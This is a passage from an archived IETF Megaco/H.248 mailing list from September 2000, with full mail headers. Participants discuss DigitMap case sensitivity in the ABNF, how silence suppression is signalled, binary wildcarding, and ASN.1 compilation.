	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA16743
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 25 Sep 2000 18:47:24 -0400 (EDT)
Received: from standards (47.234.32.16:1300) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB97CA1@standards.nortelnetworks.com>; Mon, 25 Sep 2000 18:31:49 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 30075 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 25 Sep 2000 18:31:48 -0400
Received: from kahuna.westwave.com (gate.westwave.com) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB97C89@standards.nortelnetworks.com>; Mon, 25 Sep 2000
          18:21:48 -0400
Received: from westwave.com ([10.11.10.242]) by kahuna.westwave.com (Netscape
          Messaging Server 3.6)  with ESMTP id AAA151E for
          <megaco@standards.nortelnetworks.com>; Mon, 25 Sep 2000 15:35:43 -0700
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="------------A6D9D990AB8F57EF3B251AAA"
Message-ID:  <39CFD376.CE3E2080@westwave.com>
Date:         Mon, 25 Sep 2000 17:36:38 -0500
Reply-To: Farshid Mohammadi <farshid.mohammadi@WESTWAVE.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Farshid Mohammadi <farshid.mohammadi@WESTWAVE.COM>
Subject:      unsubscribe
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This is a multi-part message in MIME format.
--------------A6D9D990AB8F57EF3B251AAA
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit



--------------A6D9D990AB8F57EF3B251AAA
Content-Type: text/x-vcard; charset=us-ascii;
 name="farshid.mohammadi.vcf"
Content-Description: Card for Farshid Mohammadi
Content-Disposition: attachment;
 filename="farshid.mohammadi.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard
n:Mohammadi;Farshid
tel;cell:(214) 215-0564
tel;fax:(214) 570-3429
tel;work:(214) 570-3424
x-mozilla-html:TRUE
adr:;;;;;;
version:2.1
email;internet:farshid.mohammadi@westwave.com
fn:Farshid Mohammadi
end:vcard

--------------A6D9D990AB8F57EF3B251AAA--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 26 01:48:18 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA29450
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 26 Sep 2000 01:48:18 -0400 (EDT)
Received: from standards (47.234.32.16:1601) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB97E8D@standards.nortelnetworks.com>; Tue, 26 Sep 2000 1:32:31 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 30718 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 26 Sep 2000 01:32:31 -0400
Received: from smtp2.mail.yahoo.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB97E6D@standards.nortelnetworks.com>; Tue, 26 Sep 2000 1:22:31
          -0400
Received: from ppp-174-31.bng.vsnl.net.in (HELO viswa) (203.197.174.31) by
          smtp.mail.vip.suc.yahoo.com with SMTP; 26 Sep 2000 05:36:30 -0000
X-Apparently-From: <viswa?natha@yahoo.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2314.1300
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Message-ID:  <000001c0277c$0dece1f0$8300a8c0@zygox.com>
Date:         Tue, 26 Sep 2000 11:04:12 +0530
Reply-To: S Viswanatha <viswa_natha@YAHOO.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: S Viswanatha <viswa_natha@YAHOO.COM>
Organization: Zygox
Subject:      MGC to MGC interaction
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hello,

 I am relatively new to this field. Recently started studying Megaco and
related protocols.
I wanted to know whether Megaco/H.248 addresses the issue of MGC to MGC
interaction
in a distributed call agents environment. If some can guide me by providing
few tips and links
then it would be very helpful.

Thanx
Viswa




__________________________________________________
Do You Yahoo!?
Talk to your friends online with Yahoo! Messenger.
http://im.yahoo.com


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 26 02:03:19 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id CAA04740
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 26 Sep 2000 02:03:17 -0400 (EDT)
Received: from standards (47.234.32.16:1601) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB97EA0@standards.nortelnetworks.com>; Tue, 26 Sep 2000 1:47:39 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 30780 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 26 Sep 2000 01:47:39 -0400
Received: from mink.ecitele.com (mailhost.ecitele.com) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB97E9F@standards.nortelnetworks.com>; Tue, 26 Sep 2000
          1:47:38 -0400
Received: from olive.ecitele.com (ilsmtp04.ecitele.com [147.234.8.125]) by
          mink.ecitele.com (8.9.1a/8.9.1) with ESMTP id JAA23638 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Tue, 26 Sep 2000 09:00:41
          +0300 (IDT)
X-Mailer: Lotus Notes Release 5.0.2b (Intl) 16 December 1999
X-MIMETrack: Serialize by Router on ILSMTP04/ECI Telecom(Release 5.0.3
             (Intl)|21 March 2000) at 26/09/2000 09:02:06 AM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Message-ID:  <OF08B54837.578D98E8-ONC2256966.00203B8A@ecitele.com>
Date:         Tue, 26 Sep 2000 08:57:05 +0300
Reply-To: Shlomo.Kabaz@ECITELE.COM
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Shlomo Kabaz  ECItelecom <Shlomo.Kabaz@ECITELE.COM>
Subject:      Wildcarding physical and ephemeral  in binary .
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Hi , all.
I am a bit confused with wildcarding options in binary .
Section "A.1 Coding of wildcarding" says actualy how to wildcard physical
terminations .
I do not know how do i wildcard ephemerals , and more how do i wildcard
both  ephemeral and physical .

shlomo  ECI


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 26 08:56:27 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA09767
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 26 Sep 2000 08:56:26 -0400 (EDT)
Received: from standards (47.234.32.16:3823) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB981BF@standards.nortelnetworks.com>; Tue, 26 Sep 2000 8:40:14 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 31822 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 26 Sep 2000 08:40:14 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB981BE@standards.nortelnetworks.com>; Tue, 26 Sep 2000 8:40:14
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id IAA14586; Tue, 26 Sep 2000 08:54:07 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id IAA07093; Tue, 26 Sep 2000 08:54:07 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <S0BB2324>; Tue, 26 Sep 2000 08:54:04 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="ISO-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF01707235@whq-msgusr-02.pit.comms.marconi.com>
Date:         Tue, 26 Sep 2000 08:54:02 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Case sensitive DigitMap symbols?
X-To:         Dave Sclarsky <dsclarsky@ss7-link.com>
X-cc:         img <img@ss7-link.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I suppose it's all in how you interpret the
                   / %x41-4B / %x61-6B ; a-k, A-K
line.  I interpret it as being case insensitive

I think we clearly need some text stating that in
unambiguous language.

Brian

> -----Original Message-----
> From: Dave Sclarsky [mailto:dsclarsky@ss7-link.com]
> Sent: Monday, September 25, 2000 5:23 PM
> To: Rosen, Brian; MEGACO@STANDARDS.NORTELNETWORKS.COM
> Cc: img
> Subject: RE: Case sensitive DigitMap symbols?
>
>
> Brian,
>
> Sorry I couldn't let this go, but I went looking
> in RFC2234.  The problem with digitMapLetter is
> that it doesn't use a case-insensitive ABNF string
> to specify A-K.  (It does for the wildcard "x" and the
> event qualifiers "L" "S" and "Z".)
>
> Here is some more from 2234:
>
> To specify a rule which IS case SENSITIVE,
>  specify the characters individually.
>
>  For example:
>      rulename    =  %d97 %d98 %d99
>  or
>      rulename    =  %d97.98.99
>
>    will match only the string which comprises only lowercased
>    characters, abc.
>
> The ABNF "Value Range Alternatives" says that it can be used
> to specify "A range of alternative numeric values".  I guess this
> precludes something simple like "A"-"K", which could be case
> insensitive.
>
> It looks like the only way to do what we want in ABNF is to spell out
> all of the alternatives (i.e. "A" / "B" / "C" etc.).
>
> Or, maybe a comment saying that "%x41-4B denote the same
> events as %61-6B"
> would be enough?
>
> DaveS.
>
> -----Original Message-----
> From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> Sent: Monday, September 25, 2000 9:25 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Case sensitive DigitMap symbols?
>
>
> Annex B references RFC2234, which states:
>
>         ABNF strings are case-insensitive and
>         the character set for these strings is us-ascii.
>
> The text used to state this as a comment in the ABNF, but
> somewhere that got lost.
>
> Brian
>
> > -----Original Message-----
> > From: Dave Sclarsky [mailto:dsclarsky@ss7-link.com]
> > Sent: Friday, September 22, 2000 6:57 PM
> > To: Rosen, Brian; MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Cc: img
> > Subject: RE: Case sensitive DigitMap symbols?
> >
> >
> > Brian,
> >
> > Thanks for the response.  I apologize, but I haven't
> > seen a clause that says the protocol is case insensitive.
> > Does this refer to the text encoding, or is it a blanket
> > statement covering all aspects of the protocol?
> >
> > DaveS.
> >
> > -----Original Message-----
> > From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> > Sent: Friday, September 22, 2000 5:04 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Case sensitive DigitMap symbols?
> >
> >
> > Except for the case of SDP in local/remote,
> > the entire protocol is case insensitive.
> > I'll support expanding the wording in 7.1.14.3 and
> > E.6 to include the lower case values.
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Dave Sclarsky [mailto:dsclarsky@SS7-LINK.COM]
> > > Sent: Friday, September 22, 2000 4:39 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Case sensitive DigitMap symbols?
> > >
> > >
> > > Hello,
> > >
> > > I have questions about the use of lower case letters as
> > > DigitMap symbols.
> > >
> > > First of all, there is a conflict between the text and the ABNF:
> > >
> > > o The text description (7.1.14.3) allows
> > >   symbols "A" through (at most) "K" as digit
> > >   map symbols, but doesn't mention the lower
> > >   case letters.
> > >
> > > o The ABNF in B.2 defines 'digitMapLetter'
> > >   to allow %x41-4B or %x61-6B.
> > >
> > > Second, the DTMF detection package uses case in a
> > > confusing way:
> > >
> > > o The DTMF 'tone id' to Event Symbol table in
> > >   E.6 allows "*" to be represented as either
> > >   "E" or "e", and "#" to be represented as either
> > >   "F" or "f".
> > >
> > > o DigitMap Completion Events in E.6 define the
> > >   possible values in a DigitString to be "A"
> > >   through "F".
> > >
> > > Is there some reason to allow lower case in digit maps?
> > >
> > > Shouldn't the DTMF detection package define a one to one
> > > mapping of 'tone id's to event symbols?
> > >
> > > The combination of these rules make it difficult for
> > > an MG to implement 7.1.14.5 number 3, where it says
> > > that each event 'is mapped to a digit string symbol',
> > > especially for the "*" and "#" events, unless I am
> > > missing something!
> > >
> > > Thanks,
> > > ============================
> > > Dave Sclarsky
> > > System Architect, Access Technology
> > > S-Link Corporation
> > > 520 Fellowship Road, Suite C-304
> > > Mt. Laurel, NJ 08054
> > > dsclarsky@ss7-link.com
> > > voice:856.642.9229 fax:856.642.0252
> > > www.ss7-link.com
> > >
> >
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 26 08:56:28 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA09771
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 26 Sep 2000 08:56:27 -0400 (EDT)
Received: from standards (47.234.32.16:3823) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB981C6@standards.nortelnetworks.com>; Tue, 26 Sep 2000 8:40:17 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 31830 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 26 Sep 2000 08:40:17 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB981C5@standards.nortelnetworks.com>; Tue, 26 Sep 2000 8:40:17
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id IAA14637; Tue, 26 Sep 2000 08:54:17 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id IAA07171; Tue, 26 Sep 2000 08:54:17 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <S0BB23KJ>; Tue, 26 Sep 2000 08:54:14 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="ISO-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF01707236@whq-msgusr-02.pit.comms.marconi.com>
Date:         Tue, 26 Sep 2000 08:54:03 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: MGC to MGC interaction
X-To:         S Viswanatha <viswa_natha@YAHOO.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Megaco is an MG to MGC protocol, and thus has no
influence on what happens with MGC to MGC signalling.
To the contrary, Megaco tries hard to be MGC-MGC
agnostic.

Brian

> -----Original Message-----
> From: S Viswanatha [mailto:viswa_natha@YAHOO.COM]
> Sent: Tuesday, September 26, 2000 1:34 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: MGC to MGC interaction
>
>
> Hello,
>
>  I am relatively new to this field. Recently started studying
> Megaco and
> related protocols.
> I wanted to know whether Megaco/H.248 addresses the issue of
> MGC to MGC
> interaction
> in a distributed call agents environment. If some can guide
> me by providing
> few tips and links
> then it would be very helpful.
>
> Thanx
> Viswa
>
>
>
>
> __________________________________________________
> Do You Yahoo!?
> Talk to your friends online with Yahoo! Messenger.
> http://im.yahoo.com
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Tue Sep 26 09:48:31 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA10240
	for <megaco-archive@LISTS.IETF.ORG>; Tue, 26 Sep 2000 09:48:31 -0400 (EDT)
Received: from standards (47.234.32.16:3823) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB9822E@standards.nortelnetworks.com>; Tue, 26 Sep 2000 9:32:25 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 31966 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Tue, 26 Sep 2000 09:32:24 -0400
Received: from mail-in.audiocodes.com (AC-INT-LP.ser.netvision.net.il) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB9822D@standards.nortelnetworks.com>; Tue, 26 Sep 2000
          9:32:24 -0400
Received: by MAIL-IN with Internet Mail Service (5.5.2650.21) id <TK5BNRZV>;
          Tue, 26 Sep 2000 16:45:31 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <81C3E8FE6C0AD4119D49009027C3AAB25DABD9@MAIL-IN>
Date:         Tue, 26 Sep 2000 16:45:31 +0200
Reply-To: Nurit Shenhar <nurit.shenhar@AUDIOCODES.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Nurit Shenhar <nurit.shenhar@AUDIOCODES.COM>
Subject:      Re: Silence suppression
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Tom

I found the draft. But silence suppression is not an ATM specific property,
and I don't see why I have to adopt an ATM draft if I don't use it. I still
think that it should have been a LocalControl property, just like the echo
cancellation and gain control, which means it should be in the tdmc package.

Nurit

-----Original Message-----
From: Jepsen, Tom [mailto:tom.jepsen@fnc.fujitsu.com]
Sent: Monday, September 25, 2000 4:42 PM
To: 'Nurit Shenhar'; MEGACO@STANDARDS.NORTELNETWORKS.COM
Subject: RE: Silence suppression


Nurit,

ATM extensions for SDP are not in RFC2327, but are in an Internet Draft
which can be found at
<http://search.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-atm-00.txt>.
You will find a description of the silence suppression parameter
(silenceSupp) in section 5.6, Media Attribute Lines.

Hope this helps,

Tom Jepsen
Fujitsu Network Communications
1000 St. Albans Drive
Raleigh, NC 27609 USA
(919)790-3439

> -----Original Message-----
> From: Nurit Shenhar [SMTP:nurit.shenhar@AUDIOCODES.COM]
> Sent: Monday, September 25, 2000 11:03 AM
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject:      Re: Silence suppression
>
> Hi Brian
>
> You are right about Annex C, but I read the SDP document (RFC2327) again
> and
> again and didn't find anything about it. (I found there other parameters I
> need, like Bandwidth).
>
> I understood that Annex C is for the binary coding only, as it states at
> the
> opening senstence:
>
>    "Parameters for Local descriptors and Remote descriptors are specified
>     as tag-value pairs if binary encoding is used for the protocol."
>
>  If it should also be used for the ABNF, it will be quite difficult for
> the
> parser to be ready to accept both SDP and Annex C.
>
> Nurit
>
>
> -----Original Message-----
> From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> Sent: Monday, September 25, 2000 3:47 PM
> To: 'Nurit Shenhar'; MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: RE: Silence suppression
>
>
> I was hoping one of our more "bell-head" members would answer this.
>
> I believe that the capability exists in both SDP and Annex C,
> and that is where you control it.
>
> Brian
>
> > -----Original Message-----
> > From: Nurit Shenhar [mailto:nurit.shenhar@AUDIOCODES.COM]
> > Sent: Monday, September 25, 2000 10:42 AM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: FW: Silence suppression
> >
> >
> > Hi
> >
> > I Didn't get any answer for the silence suppression, so I
> > send it again.
> > Does anybody got an answer for that?
> >
> > Nurit
> >
> > >  -----Original Message-----
> > > From:         Nurit Shenhar
> > > Sent: Thursday, September 21, 2000 3:56 PM
> > > To:   MEGACO (E-mail)
> > > Subject:      Silence suppression
> > >
> > > Hi list
> > >
> > > I think that there should be a silence suppression property
> > in the tdmc
> > > package. If not, where do I get this parameter?
> > >
> > > Best regards
> > >
> > > Nurit Shenhar
> > > AudioCodes Ltd.
> > > Direct: +972-3-539-4155
> > > Tel:     +972-3-539-4000
> > > Fax:    +972-3-539-4040
> > > email:  nurit.shenhar@audiocodes.com
> > >
> > > web:    <http://www.audiocodes.com>
> > >
> > >
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 27 10:26:07 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA12634
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 27 Sep 2000 10:26:05 -0400 (EDT)
Received: from standards (47.234.32.16:3195) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB98BDD@standards.nortelnetworks.com>; Wed, 27 Sep 2000 10:10:02 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 35136 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 27 Sep 2000 10:10:01 -0400
Received: from nwcst282.netaddress.usa.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB98BDA@standards.nortelnetworks.com>; Wed, 27 Sep 2000 10:00:00
          -0400
Received: (qmail 3868 invoked by uid 60001); 27 Sep 2000 14:14:06 -0000
Received: from 204.68.23.27 by nwcst282 for [208.220.245.72] via
          web-mailer(34FM.0700.4.03) on Wed Sep 27 14:14:06 GMT 2000
X-Mailer: USANET web-mailer (34FM.0700.4.03)
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Message-ID:  <20000927141406.3867.qmail@nwcst282.netaddress.usa.net>
Date:         Wed, 27 Sep 2000 08:14:06 MDT
Reply-To: sadiq rehman <sadiq_js@USA.NET>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: sadiq rehman <sadiq_js@USA.NET>
Subject:      ASN syntax change
X-To:         Rosen Brian <Brian.Rosen@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id KAA12634

Hai to all,

I want to know what are the changes we have to do in ASN1 draft file to
use the same ASN syatax for Binary and Text Encoding/Decoding.

Is there any site to get some information on binary and text encoding and
decoding .

where we can get more information on H248 protocol .


Can we change ASN syntax for binary encoding and decoding ,

I HAVE THE FOLLOWING QUERIES

1.If we compile ASN file with the ASN1 compiler , i am getting .c and .h

file , The header file clearly tells that we have to allocate memory
dynamically , i want to allocate memory statically by using array scheme
instead of pointer mechanism 








Advanced Thanks

sadiq

____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=1


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep 27 15:27:53 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA21010
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 27 Sep 2000 15:27:50 -0400 (EDT)
Received: from standards (47.234.32.16:3436) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB98FD9@standards.nortelnetworks.com>; Wed, 27 Sep 2000 15:12:12 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 0348 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 27 Sep 2000 15:12:12 -0400
Received: from qhars002.nortel.com (47.101.112.102:46235) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB98FD8@standards.nortelnetworks.com>; Wed, 27 Sep 2000
          15:12:12 -0400
Received: from smtprch1.nortel.com (actually erchg0j) by qhars002.nortel.com;
          Wed, 27 Sep 2000 20:02:55 +0100
Received: from zrchb213.us.nortel.com (actually zrchb213) by
          smtprch1.nortel.com; Wed, 27 Sep 2000 13:54:15 -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <T3FNSRD4>; Wed, 27 Sep 2000 13:54:14 -0500
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480DFA@zcard00g.ca.nortel.com>
Date:         Wed, 27 Sep 2000 13:54:05 -0500
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Silence suppression
X-To:         Nurit Shenhar <nurit.shenhar@AUDIOCODES.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Is silence suppression really something that happens on the TDM side?  On
the RTP side, it is taken care of by the payload type specification -- see
draft-ietf-avt-profile-new-08.txt                    section 4.1
(Encoding-Independent Rules) and section 4.5.4 (G.723) re SID frames.  Also
note the use of Voice Activity Detection with G.729 in section 4.5.7.  The
view there seems to be that silence suppression doesn't have to be
signalled.

> -----Original Message-----
> From: Nurit Shenhar [mailto:nurit.shenhar@AUDIOCODES.COM]
> Sent: Tuesday, September 26, 2000 10:46 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Silence suppression
>
>
> Tom
>
> I found the draft. But silence suppression is not an ATM
> specific property,
> and I don't see why I have to adopt an ATM draft if I don't
> use it. I still
> think that it should have been a LocalControl property, just
> like the echo
> cancellation and gain control, which means it should be in
> the tdmc package.
>
> Nurit
>
> -----Original Message-----
> From: Jepsen, Tom [mailto:tom.jepsen@fnc.fujitsu.com]
> Sent: Monday, September 25, 2000 4:42 PM
> To: 'Nurit Shenhar'; MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: RE: Silence suppression
>
>
> Nurit,
>
> ATM extensions for SDP are not in RFC2327, but are in an
> Internet Draft
> which can be found at
> <http://search.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-
> atm-00.txt>.
> You will find a description of the silence suppression parameter
> (silenceSupp) in section 5.6, Media Attribute Lines.
>
> Hope this helps,
>
> Tom Jepsen
> Fujitsu Network Communications
> 1000 St. Albans Drive
> Raleigh, NC 27609 USA
> (919)790-3439
>
> > -----Original Message-----
> > From: Nurit Shenhar [SMTP:nurit.shenhar@AUDIOCODES.COM]
> > Sent: Monday, September 25, 2000 11:03 AM
> > To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject:      Re: Silence suppression
> >
> > Hi Brian
> >
> > You are right about Annex C, but I read the SDP document
> (RFC2327) again
> > and
> > again and didn't find anything about it. (I found there
> other parameters I
> > need, like Bandwidth).
> >
> > I understood that Annex C is for the binary coding only, as
> it states at
> > the
> > opening senstence:
> >
> >    "Parameters for Local descriptors and Remote descriptors
> are specified
> >     as tag-value pairs if binary encoding is used for the protocol."
> >
> >  If it should also be used for the ABNF, it will be quite
> difficult for
> > the
> > parser to be ready to accept both SDP and Annex C.
> >
> > Nurit
> >
> >
> > -----Original Message-----
> > From: Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> > Sent: Monday, September 25, 2000 3:47 PM
> > To: 'Nurit Shenhar'; MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: RE: Silence suppression
> >
> >
> > I was hoping one of our more "bell-head" members would answer this.
> >
> > I believe that the capability exists in both SDP and Annex C,
> > and that is where you control it.
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Nurit Shenhar [mailto:nurit.shenhar@AUDIOCODES.COM]
> > > Sent: Monday, September 25, 2000 10:42 AM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: FW: Silence suppression
> > >
> > >
> > > Hi
> > >
> > > I Didn't get any answer for the silence suppression, so I
> > > send it again.
> > > Does anybody got an answer for that?
> > >
> > > Nurit
> > >
> > > >  -----Original Message-----
> > > > From:         Nurit Shenhar
> > > > Sent: Thursday, September 21, 2000 3:56 PM
> > > > To:   MEGACO (E-mail)
> > > > Subject:      Silence suppression
> > > >
> > > > Hi list
> > > >
> > > > I think that there should be a silence suppression property
> > > in the tdmc
> > > > package. If not, where do I get this parameter?
> > > >
> > > > Best regards
